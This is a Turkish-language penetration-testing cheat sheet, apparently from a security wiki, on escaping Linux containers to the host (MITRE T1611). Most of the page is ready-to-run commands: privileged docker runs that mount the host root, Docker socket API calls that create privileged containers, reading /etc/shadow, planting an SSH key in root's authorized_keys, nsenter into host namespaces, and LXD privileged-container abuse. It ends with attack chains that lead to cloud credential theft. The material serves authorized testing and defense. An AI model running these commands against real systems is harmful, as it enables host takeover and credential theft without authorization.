Skip to content

Linux Containers & Escape

MITRE ATT&CK · T1611 phase: privilege-escalation

Konteyner escape, konteyner izolasyonundan host işletim sistemine çıkmaktır. Linux PE ile sık kesişir: docker grubu, mount edilmiş docker.sock, --privileged ve fazla capability’ler. Bulut/K8s odaklı derinlik için Container Escape sayfasına bakın; bu sayfa host üzerinde düşük yetkili shell / konteyner foothold senaryosuna odaklanır.

Terminal window
ls -la /.dockerenv 2>/dev/null
Terminal window
cat /proc/1/cgroup
Terminal window
hostname; id; uname -a
Terminal window
capsh --print 2>/dev/null
Terminal window
cat /proc/self/status | grep -i Cap
Terminal window
mount; cat /proc/mounts
Terminal window
ls -la /dev | head -n 50
Terminal window
ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock 2>/dev/null
Terminal window
env | grep -iE 'KUBERNETES|DOCKER|container'
/.dockerenv veya cgroup'ta docker/kubepods → konteyner içindesin
docker.sock görünür → API ile sibling escape
/dev/sda* + yüksek CapEff → privileged adayı
hostPath / /host mount → doğrudan host FS

Host’ta docker grubuna üyeysen socket’e yazabiliyorsun — pratikte root.

Terminal window
id; groups
Terminal window
docker images
Terminal window
docker run -it --rm --privileged -v /:/mnt alpine chroot /mnt /bin/bash
Terminal window
docker run -it --rm -v /:/mnt alpine chroot /mnt /bin/sh

docker · privileged host mount

embedded tool
Generated command
docker run -it --rm --privileged -v /:/mnt alpine chroot /mnt /bin/bash

Soket var ama docker CLI yoksa API ile:

Terminal window
curl -s --unix-socket /var/run/docker.sock http://localhost/version
Terminal window
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
Terminal window
curl -s --unix-socket /var/run/docker.sock \
-H 'Content-Type: application/json' \
-d '{"Image":"alpine","Cmd":["sleep","3600"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
http://localhost/containers/create

--privileged neredeyse tüm capability + host cihaz erişimi verir.

Terminal window
fdisk -l
Terminal window
mkdir /mnt/host
Terminal window
mount /dev/sda1 /mnt/host
Terminal window
cat /mnt/host/etc/shadow | head
Terminal window
echo 'ssh-rsa AAAA... pentest' >> /mnt/host/root/.ssh/authorized_keys
Terminal window
chroot /mnt/host /bin/bash
Terminal window
capsh --print
CAP_SYS_ADMIN → mount, cgroup release_agent
CAP_SYS_PTRACE → hostPID ile süreç enjeksiyonu
CAP_DAC_READ_SEARCH → host dosya okuma teknikleri
CAP_NET_ADMIN → ağ namespace manipülasyonu (yan etki)

CAP_SYS_ADMIN + yazılabilir cgroup → klasik release_agent ile host komut çalıştırma. PoC akışı ve araçlar için cloud container-escape sayfasındaki adımları kullan; cdk / bilinen PoC’ler yaygın tercihtir.

Terminal window
cat /sys/fs/cgroup/*/release_agent 2>/dev/null
Terminal window
ls -la /sys/fs/cgroup

Pod veya konteyner hostPID (ve tercihen privileged) ise:

Terminal window
ps aux | head
Terminal window
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
Terminal window
nsenter -t 1 -m -u -i -n -p -- /bin/bash

PID 1 host init ise namespace’ler host ile paylaşılıyordur.

lxd grubu üyesi → privileged container → host mount.

Terminal window
id | grep lxd
Terminal window
lxc image list
Terminal window
lxc init ubuntu:20.04 privesc -c security.privileged=true
Terminal window
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Terminal window
lxc start privesc
Terminal window
lxc exec privesc /bin/bash
Terminal window
chroot /mnt/root /bin/bash

Image yoksa Alpine/busybox rootfs import ederek aynı cihaz mount’u yapılır.

/var/run/docker.sock
/var/run/containerd/containerd.sock
/:/host veya /host
/etc, /root, /home (kısmi host FS)
/var/log (host log → secret)
/proc (özellikle yazılabilir procfs misconfig)
Terminal window
findmnt
Terminal window
ls -la /host /mnt/host 2>/dev/null

Host FS mount’luysa SSH key, crontab, shadow ve cloud credential hemen loot.

Terminal window
runc --version 2>/dev/null
Terminal window
uname -a
runc CVE-2019-5736 → host runc overwrite (eski)
Dirty Pipe / OverlayFS → konteyner→host bazı senaryolar
CVE-2022-0492 cgroup → release_agent benzeri

Sürüm eşleşmeden public exploit çalıştırmayın; staging’de doğrulayın.

  1. Konteyner misin, host’ta docker grubu musun — cgroup, sock, groups.

  2. sock / privileged / host mount varsa doğrudan FS veya API escape.

  3. Capability + cgroup / hostPID yollarını dene.

  4. LXD grubu varsa privileged + disk device.

  5. Host’ta root sonrası: SSH, cron, IMDS, kubelet credential.

www-data in docker group → privileged -v /:/mnt → host root → IMDS
App RCE + docker.sock → API privileged sibling → host root
K8s CAP_SYS_ADMIN → release_agent / hostPath → node → cloud SA

İlgili derin sayfa: /cloud/container-escape/.